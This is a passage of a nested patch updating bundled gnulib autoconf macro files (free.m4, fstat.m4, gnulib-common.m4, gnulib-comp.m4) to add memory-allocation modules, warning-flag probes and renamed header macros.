[ +- GNULIB_CREAT=0; AC_SUBST([GNULIB_CREAT]) +- GNULIB_FCNTL=0; AC_SUBST([GNULIB_FCNTL]) +- GNULIB_NONBLOCKING=0; AC_SUBST([GNULIB_NONBLOCKING]) +- GNULIB_OPEN=0; AC_SUBST([GNULIB_OPEN]) +- GNULIB_OPENAT=0; AC_SUBST([GNULIB_OPENAT]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_CREAT=1; AC_SUBST([GNULIB_MDA_CREAT]) +- GNULIB_MDA_OPEN=1; AC_SUBST([GNULIB_MDA_OPEN]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_FCNTL=1; AC_SUBST([HAVE_FCNTL]) + HAVE_OPENAT=1; AC_SUBST([HAVE_OPENAT]) +--- /dev/null ++++ b/gnulib/m4/free.m4 +@@ -0,0 +1,52 @@ ++# free.m4 serial 6 ++# Copyright (C) 2003-2005, 2009-2021 Free Software Foundation, Inc. ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# Written by Paul Eggert and Bruno Haible. ++ ++AC_DEFUN([gl_FUNC_FREE], ++[ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ ++ dnl In the next release of POSIX, free must preserve errno. ++ dnl https://www.austingroupbugs.net/view.php?id=385 ++ dnl https://sourceware.org/bugzilla/show_bug.cgi?id=17924 ++ dnl So far, we know of three platforms that do this: ++ dnl * glibc >= 2.33, thanks to the fix for this bug: ++ dnl <https://sourceware.org/bugzilla/show_bug.cgi?id=17924> ++ dnl * OpenBSD >= 4.5, thanks to this commit: ++ dnl <https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c.diff?r1=1.100&r2=1.101&f=h> ++ dnl * Solaris, because its malloc() implementation is based on brk(), ++ dnl not mmap(); hence its free() implementation makes no system calls. ++ dnl For other platforms, you can only be sure if they state it in their ++ dnl documentation, or by code inspection of the free() implementation in libc. ++ AC_CACHE_CHECK([whether free is known to preserve errno], ++ [gl_cv_func_free_preserves_errno], ++ [AC_COMPILE_IFELSE( ++ [AC_LANG_PROGRAM( ++ [[#include <stdlib.h> ++ ]], ++ [[#if 2 < __GLIBC__ + (33 <= __GLIBC_MINOR__) ++ #elif defined __OpenBSD__ ++ #elif defined __sun ++ #else ++ #error "'free' is not known to preserve errno" ++ #endif ++ ]])], ++ [gl_cv_func_free_preserves_errno=yes], ++ [gl_cv_func_free_preserves_errno=no]) ++ ]) ++ ++ case $gl_cv_func_free_preserves_errno in ++ *yes) ++ AC_DEFINE([HAVE_FREE_POSIX], [1], ++ [Define if the 'free' function is guaranteed to preserve errno.]) ++ ;; ++ *) REPLACE_FREE=1 ;; ++ esac ++]) ++ ++# Prerequisites of lib/free.c. ++AC_DEFUN([gl_PREREQ_FREE], [:]) +--- a/gnulib/m4/fstat.m4 ++++ b/gnulib/m4/fstat.m4 +@@ -1,4 +1,4 @@ +-# fstat.m4 serial 7 ++# fstat.m4 serial 8 + dnl Copyright (C) 2011-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -34,7 +34,7 @@ AC_DEFUN([gl_FUNC_FSTAT], + + # Prerequisites of lib/fstat.c and lib/stat-w32.c. + AC_DEFUN([gl_PREREQ_FSTAT], [ +- AC_REQUIRE([gl_HEADER_SYS_STAT_H]) ++ AC_REQUIRE([gl_SYS_STAT_H]) + AC_REQUIRE([gl_PREREQ_STAT_W32]) + : + ]) +--- a/gnulib/m4/gnulib-common.m4 ++++ b/gnulib/m4/gnulib-common.m4 +@@ -1,4 +1,4 @@ +-# gnulib-common.m4 serial 63 ++# gnulib-common.m4 serial 66 + dnl Copyright (C) 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -357,6 +357,16 @@ AC_DEFUN([gl_COMMON_BODY], [ + export LIBC_FATAL_STDERR_ + ]) + ++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename]) ++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename], [initialvalue]) ++# initializes the shell variable that indicates the presence of the given module ++# as a C preprocessor expression. ++AC_DEFUN([gl_MODULE_INDICATOR_INIT_VARIABLE], ++[ ++ GL_MODULE_INDICATOR_PREFIX[]_[$1]=m4_if([$2], , [0], [$2]) ++ AC_SUBST(GL_MODULE_INDICATOR_PREFIX[]_[$1]) ++]) ++ + # gl_MODULE_INDICATOR_CONDITION + # expands to a C preprocessor expression that evaluates to 1 or 0, depending + # whether a gnulib module that has been requested shall be considered present +@@ -369,9 +379,9 @@ m4_define([gl_MODULE_INDICATOR_CONDITION + AC_DEFUN([gl_MODULE_INDICATOR_SET_VARIABLE], + [ + gl_MODULE_INDICATOR_SET_VARIABLE_AUX( +- [GNULIB_[]m4_translit([[$1]], +- [abcdefghijklmnopqrstuvwxyz./-], +- [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])], ++ [GL_MODULE_INDICATOR_PREFIX[]_GNULIB_[]m4_translit([[$1]], ++ [abcdefghijklmnopqrstuvwxyz./-], ++ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])], + [gl_MODULE_INDICATOR_CONDITION]) + ]) + +@@ -656,6 +666,72 @@ AC_DEFUN([gl_CACHE_VAL_SILENT], + ]) + ]) + ++# gl_CC_ALLOW_WARNINGS ++# sets and substitutes a variable GL_CFLAG_ALLOW_WARNINGS, to a $(CC) option ++# that reverts a preceding '-Werror' option, if available. ++# This is expected to be '-Wno-error' on gcc, clang (except clang/MSVC), xlclang ++# and empty otherwise. ++AC_DEFUN([gl_CC_ALLOW_WARNINGS], ++[ ++ AC_REQUIRE([AC_PROG_CC]) ++ AC_CACHE_CHECK([for C compiler option to allow warnings], ++ [gl_cv_cc_wallow], ++ [rm -f conftest* ++ echo 'int dummy;' > conftest.c ++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -c conftest.c 2>conftest1.err]) >/dev/null ++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -Wno-error -c conftest.c 2>conftest2.err]) >/dev/null ++ dnl Test the number of error output lines, because AIX xlc accepts the ++ dnl option '-Wno-error', just to produce a warning ++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored." ++ dnl afterwards. ++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then ++ gl_cv_cc_wallow='-Wno-error' ++ else ++ gl_cv_cc_wallow=none ++ fi ++ rm -f conftest* ++ ]) ++ case "$gl_cv_cc_wallow" in ++ none) GL_CFLAG_ALLOW_WARNINGS='' ;; ++ *) GL_CFLAG_ALLOW_WARNINGS="$gl_cv_cc_wallow" ;; ++ esac ++ AC_SUBST([GL_CFLAG_ALLOW_WARNINGS]) ++]) ++ ++# gl_CXX_ALLOW_WARNINGS ++# sets and substitutes a variable GL_CXXFLAG_ALLOW_WARNINGS, to a $(CC) option ++# that reverts a preceding '-Werror' option, if available. ++AC_DEFUN([gl_CXX_ALLOW_WARNINGS], ++[ ++ dnl Requires AC_PROG_CXX or gl_PROG_ANSI_CXX. ++ if test -n "$CXX" && test "$CXX" != no; then ++ AC_CACHE_CHECK([for C++ compiler option to allow warnings], ++ [gl_cv_cxx_wallow], ++ [rm -f conftest* ++ echo 'int dummy;' > conftest.cc ++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -c conftest.cc 2>conftest1.err]) >/dev/null ++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -Wno-error -c conftest.cc 2>conftest2.err]) >/dev/null ++ dnl Test the number of error output lines, because AIX xlC accepts the ++ dnl option '-Wno-error', just to produce a warning ++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored." ++ dnl afterwards. ++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then ++ gl_cv_cxx_wallow='-Wno-error' ++ else ++ gl_cv_cxx_wallow=none ++ fi ++ rm -f conftest* ++ ]) ++ case "$gl_cv_cxx_wallow" in ++ none) GL_CXXFLAG_ALLOW_WARNINGS='' ;; ++ *) GL_CXXFLAG_ALLOW_WARNINGS="$gl_cv_cxx_wallow" ;; ++ esac ++ else ++ GL_CXXFLAG_ALLOW_WARNINGS='' ++ fi ++ AC_SUBST([GL_CXXFLAG_ALLOW_WARNINGS]) ++]) ++ + dnl Expands to some code for use in .c programs that, on native Windows, defines + dnl the Microsoft deprecated alias function names to the underscore-prefixed + dnl actual function names. With this macro, these function names are available +--- a/gnulib/m4/gnulib-comp.m4 ++++ b/gnulib/m4/gnulib-comp.m4 +@@ -51,6 +51,8 @@ AC_DEFUN([gl_EARLY], + # Code from module btowc: + # Code from module builtin-expect: + # Code from module c99: ++ # Code from module calloc-gnu: ++ # Code from module calloc-posix: + # Code from module cloexec: + # Code from module close: + # Code from module double-slash-root: +@@ -66,6 +68,7 @@ AC_DEFUN([gl_EARLY], + # Code from module fd-hook: + # Code from module filename: + # Code from module float: ++ # Code from module free-posix: + # Code from module fstat: + # Code from module getdtablesize: + # Code from module getopt-gnu: +@@ -74,7 +77,9 @@ AC_DEFUN([gl_EARLY], + # Code from module gettext-h: + # Code from module hard-locale: + # Code from module havelib: ++ # Code from module ialloc: + # Code from module iconv: ++ # Code from module idx: + # Code from module include_next: + # Code from module intprops: + # Code from module inttypes-incomplete: +@@ -84,12 +89,14 @@ AC_DEFUN([gl_EARLY], + # Code from module langinfo: + # Code from module largefile: + AC_REQUIRE([AC_SYS_LARGEFILE]) ++ AC_REQUIRE([gl_YEAR2038_EARLY]) + # Code from module libc-config: + # Code from module limits-h: + # Code from module localcharset: + # Code from module locale: + # Code from module localeconv: + # Code from module lock: ++ # Code from module malloc-gnu: + # Code from module malloc-posix: + # Code from module malloca: + # Code from module mbchar: +@@ -107,6 +114,7 @@ AC_DEFUN([gl_EARLY], + # Code from module memchr: + # Code from module mempcpy: + # Code from module memrchr: ++ # Code from module minmax: + # Code from module msvc-inval: + # Code from module msvc-nothrow: + # Code from module multiarch: +@@ -114,6 +122,9 @@ AC_DEFUN([gl_EARLY], + # Code from module nocrash: + # Code from module open: + # Code from module pathmax: ++ # Code from module realloc-gnu: ++ # Code from module realloc-posix: ++ # Code from module reallocarray: + # Code from module regex: + # Code from module setlocale-null: + # Code from module size_max: +@@ -189,6 +200,8 @@ AC_DEFUN([gl_INIT], + m4_pushdef([AC_LIBSOURCES], m4_defn([gl_LIBSOURCES])) + m4_pushdef([gl_LIBSOURCES_LIST], []) + m4_pushdef([gl_LIBSOURCES_DIR], []) ++ m4_pushdef([GL_MACRO_PREFIX], [gl]) ++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL]) + gl_COMMON + gl_source_base='gnulib/lib' + gl_FUNC_ALLOCA +@@ -196,6 +209,15 @@ AC_DEFUN([gl_INIT], + if test -n "$ARGZ_H"; then + AC_LIBOBJ([argz]) + fi ++ gl_FUNC_CALLOC_GNU ++ if test $REPLACE_CALLOC = 1; then ++ AC_LIBOBJ([calloc]) ++ fi ++ gl_FUNC_CALLOC_POSIX ++ if test $REPLACE_CALLOC = 1; then ++ AC_LIBOBJ([calloc]) ++ fi ++ gl_STDLIB_MODULE_INDICATOR([calloc-posix]) + gl_DOUBLE_SLASH_ROOT + gl_HEADER_ERRNO_H + gl_ERROR +@@ -208,6 +230,7 @@ AC_DEFUN([gl_INIT], + AM_][XGETTEXT_OPTION([--flag=error_at_line:5:c-format])]) + AC_REQUIRE([gl_EXTERN_INLINE]) + gl_FCNTL_H ++ gl_FCNTL_H_REQUIRE_DEFAULTS + gl_FLOAT_H + if test $REPLACE_FLOAT_LDBL = 1; then + AC_LIBOBJ([float]) +@@ -223,10 +246,10 @@ AC_DEFUN([gl_INIT], + if test $REPLACE_GETOPT = 1; then + AC_LIBOBJ([getopt]) + AC_LIBOBJ([getopt1]) +- dnl Arrange for unistd.h to include getopt.h. +- GNULIB_GL_UNISTD_H_GETOPT=1 ++ dnl Define the substituted variable GNULIB_UNISTD_H_GETOPT to 1. ++ gl_UNISTD_H_REQUIRE_DEFAULTS ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT], [1]) + fi +- AC_SUBST([GNULIB_GL_UNISTD_H_GETOPT]) + gl_UNISTD_MODULE_INDICATOR([getopt-posix]) + gl_FUNC_GETPROGNAME + AC_SUBST([LIBINTL]) +@@ -236,6 +259,7 @@ AC_DEFUN([gl_INIT], + m4_ifdef([gl_ICONV_MODULE_INDICATOR], + [gl_ICONV_MODULE_INDICATOR([iconv])]) + gl_INTTYPES_INCOMPLETE ++ gl_INTTYPES_H_REQUIRE_DEFAULTS + gl_FUNC_ISWBLANK + if test $HAVE_ISWCNTRL = 0 || test $REPLACE_ISWCNTRL = 1; then + : +@@ -265,6 +289,15 @@ AC_DEFUN([gl_INIT], + gl_WCTYPE_MODULE_INDICATOR([iswxdigit]) + AC_REQUIRE([gl_LARGEFILE]) + gl_LIMITS_H ++ gl_FUNC_MALLOC_GNU ++ if test $REPLACE_MALLOC = 1; then ++ AC_LIBOBJ([malloc]) ++ fi ++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX]) ++ if test $REPLACE_MALLOC = 1; then ++ AC_LIBOBJ([malloc]) ++ fi ++ gl_STDLIB_MODULE_INDICATOR([malloc-posix]) + gl_MALLOCA + gl_MBCHAR + gl_MBITER +@@ -305,6 +338,7 @@ AC_DEFUN([gl_INIT], + gl_PREREQ_MEMRCHR + fi + gl_STRING_MODULE_INDICATOR([memrchr]) ++ gl_MINMAX + gl_MULTIARCH + gl_FUNC_OPEN + if test $REPLACE_OPEN = 1; then +@@ -312,6 +346,22 @@ AC_DEFUN([gl_INIT], + gl_PREREQ_OPEN + fi + gl_FCNTL_MODULE_INDICATOR([open]) ++ gl_FUNC_REALLOC_GNU ++ if test $REPLACE_REALLOC = 1; then ++ AC_LIBOBJ([realloc]) ++ fi ++ gl_FUNC_REALLOC_POSIX ++ if test $REPLACE_REALLOC = 1; then ++ AC_LIBOBJ([realloc]) ++ fi ++ gl_STDLIB_MODULE_INDICATOR([realloc-posix]) ++ gl_FUNC_REALLOCARRAY ++ if test $HAVE_REALLOCARRAY = 0 || test $REPLACE_REALLOCARRAY = 1; then ++ AC_LIBOBJ([reallocarray]) ++ gl_PREREQ_REALLOCARRAY ++ fi ++ gl_MODULE_INDICATOR([reallocarray]) ++ gl_STDLIB_MODULE_INDICATOR([reallocarray]) + gl_REGEX + if test $ac_use_included_regex = yes; then + AC_LIBOBJ([regex]) +@@ -321,9 +371,35 @@ AC_DEFUN([gl_INIT], + gl_STDARG_H + AM_STDBOOL_H + gl_STDDEF_H ++ gl_STDDEF_H_REQUIRE_DEFAULTS + gl_STDINT_H + gl_STDIO_H ++ gl_STDIO_H_REQUIRE_DEFAULTS ++ dnl No need to create extra modules for these functions. Everyone who uses ++ dnl <stdio.h> likely needs them. ++ gl_STDIO_MODULE_INDICATOR([fscanf]) ++ gl_MODULE_INDICATOR([fscanf]) ++ gl_STDIO_MODULE_INDICATOR([scanf]) ++ gl_MODULE_INDICATOR([scanf]) ++ gl_STDIO_MODULE_INDICATOR([fgetc]) ++ gl_STDIO_MODULE_INDICATOR([getc]) ++ gl_STDIO_MODULE_INDICATOR([getchar]) ++ gl_STDIO_MODULE_INDICATOR([fgets]) ++ gl_STDIO_MODULE_INDICATOR([fread]) ++ dnl No need to create extra modules for these functions. Everyone who uses ++ dnl <stdio.h> likely needs them. ++ gl_STDIO_MODULE_INDICATOR([fprintf]) ++ gl_STDIO_MODULE_INDICATOR([printf]) ++ gl_STDIO_MODULE_INDICATOR([vfprintf]) ++ gl_STDIO_MODULE_INDICATOR([vprintf]) ++ gl_STDIO_MODULE_INDICATOR([fputc]) ++ gl_STDIO_MODULE_INDICATOR([putc]) ++ gl_STDIO_MODULE_INDICATOR([putchar]) ++ gl_STDIO_MODULE_INDICATOR([fputs]) ++ gl_STDIO_MODULE_INDICATOR([puts]) ++ gl_STDIO_MODULE_INDICATOR([fwrite]) + gl_STDLIB_H ++ gl_STDLIB_H_REQUIRE_DEFAULTS + gl_STRCASE + if test $HAVE_STRCASECMP = 0; then + AC_LIBOBJ([strcasecmp]) +@@ -356,8 +432,10 @@ AC_DEFUN([gl_INIT], + fi + gl_MODULE_INDICATOR([strerror]) + gl_STRING_MODULE_INDICATOR([strerror]) +- gl_HEADER_STRING_H +- gl_HEADER_STRINGS_H ++ gl_STRING_H ++ gl_STRING_H_REQUIRE_DEFAULTS ++ gl_STRINGS_H ++ gl_STRINGS_H_REQUIRE_DEFAULTS + gl_FUNC_STRNLEN + if test $HAVE_DECL_STRNLEN = 0 || test $REPLACE_STRNLEN = 1; then + AC_LIBOBJ([strnlen]) +@@ -365,10 +443,27 @@ AC_DEFUN([gl_INIT], + fi + gl_STRING_MODULE_INDICATOR([strnlen]) + gl_SYS_TYPES_H ++ gl_SYS_TYPES_H_REQUIRE_DEFAULTS + AC_PROG_MKDIR_P + gl_UNISTD_H +- gl_LIBUNISTRING_LIBHEADER([0.9.4], [unitypes.h]) +- gl_LIBUNISTRING_LIBHEADER([0.9.4], [uniwidth.h]) ++ gl_UNISTD_H_REQUIRE_DEFAULTS ++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [unitypes.h]) ++ AH_VERBATIM([unitypes_restrict], [ ++ /* This definition is a duplicate of the one in unitypes.h. ++ It is here so that we can cope with an older version of unitypes.h ++ that does not contain this definition and that is pre-installed among ++ the public header files. */ ++ # if defined __restrict \ ++ || 2 < __GNUC__ + (95 <= __GNUC_MINOR__) \ ++ || __clang_major__ >= 3 ++ # define _UC_RESTRICT __restrict ++ # elif 199901L <= __STDC_VERSION__ || defined restrict ++ # define _UC_RESTRICT restrict ++ # else ++ # define _UC_RESTRICT ++ # endif ++ ]) ++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [uniwidth.h]) + gl_LIBUNISTRING_MODULE([0.9.8], [uniwidth/width]) + gl_FUNC_VASPRINTF + gl_STDIO_MODULE_INDICATOR([vasprintf]) +@@ -376,7 +471,9 @@ AC_DEFUN([gl_INIT], + [AM_][XGETTEXT_OPTION([--flag=asprintf:2:c-format]) + AM_][XGETTEXT_OPTION([--flag=vasprintf:2:c-format])]) + gl_WCHAR_H ++ gl_WCHAR_H_REQUIRE_DEFAULTS + gl_WCTYPE_H ++ gl_WCTYPE_H_REQUIRE_DEFAULTS + gl_FUNC_WCWIDTH + if test $HAVE_WCWIDTH = 0 || test $REPLACE_WCWIDTH = 1; then + AC_LIBOBJ([wcwidth]) +@@ -395,17 +492,16 @@ AC_DEFUN([gl_INIT], + gl_gnulib_enabled_dynarray=false + gl_gnulib_enabled_fcntl=false + gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=false ++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=false + gl_gnulib_enabled_fstat=false + gl_gnulib_enabled_getdtablesize=false + gl_gnulib_enabled_30838f5439487421042f2225bed3af76=false +- gl_gnulib_enabled_intprops=false + gl_gnulib_enabled_langinfo=false + gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467=false + gl_gnulib_enabled_localcharset=false + gl_gnulib_enabled_locale=false + gl_gnulib_enabled_localeconv=false + gl_gnulib_enabled_lock=false +- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=false + gl_gnulib_enabled_mbtowc=false + gl_gnulib_enabled_mempcpy=false + gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616=false +@@ -506,8 +602,9 @@ AC_DEFUN([gl_INIT], + func_gl_gnulib_m4code_dynarray () + { + if ! $gl_gnulib_enabled_dynarray; then ++ AC_PROG_MKDIR_P + gl_gnulib_enabled_dynarray=true +- func_gl_gnulib_m4code_intprops ++ func_gl_gnulib_m4code_37f71b604aa9c54446783d80f42fe547 + func_gl_gnulib_m4code_21ee726a3540c09237a8e70c0baf7467 + fi + } +@@ -540,6 +637,18 @@ AC_DEFUN([gl_INIT], + gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=true + fi + } ++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955 () ++ { ++ if ! $gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955; then ++ gl_FUNC_FREE ++ if test $REPLACE_FREE = 1; then ++ AC_LIBOBJ([free]) ++ gl_PREREQ_FREE ++ fi ++ gl_STDLIB_MODULE_INDICATOR([free-posix]) ++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=true ++ fi ++ } + func_gl_gnulib_m4code_fstat () + { + if ! $gl_gnulib_enabled_fstat; then +@@ -595,16 +704,11 @@ AC_DEFUN([gl_INIT], + func_gl_gnulib_m4code_e7e881d32ca02f1c997b13c737c64bbd + fi + } +- func_gl_gnulib_m4code_intprops () +- { +- if ! $gl_gnulib_enabled_intprops; then +- gl_gnulib_enabled_intprops=true +- fi +- } + func_gl_gnulib_m4code_langinfo () + { + if ! $gl_gnulib_enabled_langinfo; then + gl_LANGINFO_H ++ gl_LANGINFO_H_REQUIRE_DEFAULTS + gl_gnulib_enabled_langinfo=true + fi + } +@@ -629,6 +733,7 @@ AC_DEFUN([gl_INIT], + { + if ! $gl_gnulib_enabled_locale; then + gl_LOCALE_H ++ gl_LOCALE_H_REQUIRE_DEFAULTS + gl_gnulib_enabled_locale=true + fi + } +@@ -666,18 +771,6 @@ AC_DEFUN([gl_INIT], + fi + fi + } +- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866 () +- { +- if ! $gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866; then +- gl_FUNC_MALLOC_POSIX +- if test $REPLACE_MALLOC = 1; then +- AC_LIBOBJ([malloc]) +- fi +- gl_STDLIB_MODULE_INDICATOR([malloc-posix]) +- gl_MODULE_INDICATOR([malloc-posix]) +- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=true +- fi +- } + func_gl_gnulib_m4code_mbtowc () + { + if ! $gl_gnulib_enabled_mbtowc; then +@@ -803,7 +896,6 @@ AC_DEFUN([gl_INIT], + gl_STAT_TIME + gl_STAT_BIRTHTIME + gl_gnulib_enabled_0137e3d3638b33e5819d132d0b23165c=true +- func_gl_gnulib_m4code_intprops + func_gl_gnulib_m4code_time + fi + } +@@ -870,7 +962,8 @@ AC_DEFUN([gl_INIT], + func_gl_gnulib_m4code_sys_stat () + { + if ! $gl_gnulib_enabled_sys_stat; then +- gl_HEADER_SYS_STAT_H ++ gl_SYS_STAT_H ++ gl_SYS_STAT_H_REQUIRE_DEFAULTS + AC_PROG_MKDIR_P + gl_gnulib_enabled_sys_stat=true + func_gl_gnulib_m4code_time +@@ -886,7 +979,8 @@ AC_DEFUN([gl_INIT], + func_gl_gnulib_m4code_time () + { + if ! $gl_gnulib_enabled_time; then +- gl_HEADER_TIME_H ++ gl_TIME_H ++ gl_TIME_H_REQUIRE_DEFAULTS + gl_gnulib_enabled_time=true + fi + } +@@ -897,6 +991,7 @@ AC_DEFUN([gl_INIT], + gl_FUNC_VASNPRINTF + gl_gnulib_enabled_vasnprintf=true + func_gl_gnulib_m4code_attribute ++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955 + func_gl_gnulib_m4code_xsize + fi + } +@@ -1002,6 +1097,9 @@ AC_DEFUN([gl_INIT], + if test $REPLACE_OPEN = 1; then + func_gl_gnulib_m4code_stat + fi ++ if test $REPLACE_REALLOC = 1; then ++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955 ++ fi + if test $ac_use_included_regex = yes; then + func_gl_gnulib_m4code_attribute + fi +@@ -1015,9 +1113,6 @@ AC_DEFUN([gl_INIT], + func_gl_gnulib_m4code_dynarray + fi + if test $ac_use_included_regex = yes; then +- func_gl_gnulib_m4code_intprops +- fi +- if test $ac_use_included_regex = yes; then + func_gl_gnulib_m4code_langinfo + fi + if test $ac_use_included_regex = yes; then +@@ -1032,12 +1127,6 @@ AC_DEFUN([gl_INIT], + if test $ac_use_included_regex = yes; then + func_gl_gnulib_m4code_wcrtomb + fi +- if test $REPLACE_STRDUP = 1; then +- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866 +- fi +- if test $REPLACE_STRERROR = 1; then +- func_gl_gnulib_m4code_intprops +- fi + if test $REPLACE_STRERROR = 1; then + func_gl_gnulib_m4code_dbb57f49352be8fb86869629a254fb72 + fi +@@ -1057,17 +1146,16 @@ AC_DEFUN([gl_INIT], + AM_CONDITIONAL([gl_GNULIB_ENABLED_dynarray], [$gl_gnulib_enabled_dynarray]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_fcntl], [$gl_gnulib_enabled_fcntl]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_43fe87a341d9b4b93c47c3ad819a5239], [$gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239]) ++ AM_CONDITIONAL([gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955], [$gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_fstat], [$gl_gnulib_enabled_fstat]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_getdtablesize], [$gl_gnulib_enabled_getdtablesize]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_30838f5439487421042f2225bed3af76], [$gl_gnulib_enabled_30838f5439487421042f2225bed3af76]) +- AM_CONDITIONAL([gl_GNULIB_ENABLED_intprops], [$gl_gnulib_enabled_intprops]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_langinfo], [$gl_gnulib_enabled_langinfo]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_21ee726a3540c09237a8e70c0baf7467], [$gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_localcharset], [$gl_gnulib_enabled_localcharset]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_locale], [$gl_gnulib_enabled_locale]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_localeconv], [$gl_gnulib_enabled_localeconv]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_lock], [$gl_gnulib_enabled_lock]) +- AM_CONDITIONAL([gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866], [$gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_mbtowc], [$gl_gnulib_enabled_mbtowc]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_mempcpy], [$gl_gnulib_enabled_mempcpy]) + AM_CONDITIONAL([gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616], [$gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616]) +@@ -1105,6 +1193,8 @@ AC_DEFUN([gl_INIT], + m4_if(m4_sysval, [0], [], + [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])]) + ]) ++ m4_popdef([GL_MODULE_INDICATOR_PREFIX]) ++ m4_popdef([GL_MACRO_PREFIX]) + m4_popdef([gl_LIBSOURCES_DIR]) + m4_popdef([gl_LIBSOURCES_LIST]) + m4_popdef([AC_LIBSOURCES]) +@@ -1131,6 +1221,8 @@ AC_DEFUN([gl_INIT], + m4_pushdef([AC_LIBSOURCES], m4_defn([gltests_LIBSOURCES])) + m4_pushdef([gltests_LIBSOURCES_LIST], []) + m4_pushdef([gltests_LIBSOURCES_DIR], []) ++ m4_pushdef([GL_MACRO_PREFIX], [gltests]) ++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL]) + gl_COMMON + gl_source_base='tests' + changequote(,)dnl +@@ -1152,6 +1244,8 @@ changequote([, ])dnl + m4_if(m4_sysval, [0], [], + [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])]) + ]) ++ m4_popdef([GL_MODULE_INDICATOR_PREFIX]) ++ m4_popdef([GL_MACRO_PREFIX]) + m4_popdef([gltests_LIBSOURCES_DIR]) + m4_popdef([gltests_LIBSOURCES_LIST]) + m4_popdef([AC_LIBSOURCES]) +@@ -1247,6 +1341,7 @@ AC_DEFUN([gl_FILE_LIST], [ + lib/basename-lgpl.h + lib/btowc.c + lib/c++defs.h ++ lib/calloc.c + lib/cdefs.h + lib/cloexec.c + lib/cloexec.h +@@ -1266,6 +1361,7 @@ AC_DEFUN([gl_FILE_LIST], [ + lib/float+.h + lib/float.c + lib/float.in.h ++ lib/free.c + lib/fstat.c + lib/getdtablesize.c + lib/getopt-cdefs.in.h +@@ -1285,6 +1381,9 @@ AC_DEFUN([gl_FILE_LIST], [ + lib/glthread/threadlib.c + lib/hard-locale.c + lib/hard-locale.h ++ lib/ialloc.c ++ lib/ialloc.h ++ lib/idx.h + lib/intprops.h + lib/inttypes.in.h + lib/iswblank.c +@@ -1335,6 +1434,7 @@ AC_DEFUN([gl_FILE_LIST], [ + lib/memchr.valgrind + lib/mempcpy.c + lib/memrchr.c ++ lib/minmax.h + lib/msvc-inval.c + lib/msvc-inval.h + lib/msvc-nothrow.c +@@ -1347,6 +1447,8 @@ AC_DEFUN([gl_FILE_LIST], [ + lib/printf-args.h + lib/printf-parse.c + lib/printf-parse.h ++ lib/realloc.c ++ lib/reallocarray.c + lib/regcomp.c + lib/regex.c + lib/regex.h +@@ -1427,6 +1529,7 @@ AC_DEFUN([gl_FILE_LIST], [ + m4/argz.m4 + m4/btowc.m4 + m4/builtin-expect.m4 ++ m4/calloc.m4 + m4/close.m4 + m4/codeset.m4 + m4/double-slash-root.m4 +@@ -1441,6 +1544,7 @@ AC_DEFUN([gl_FILE_LIST], [ + m4/fcntl.m4 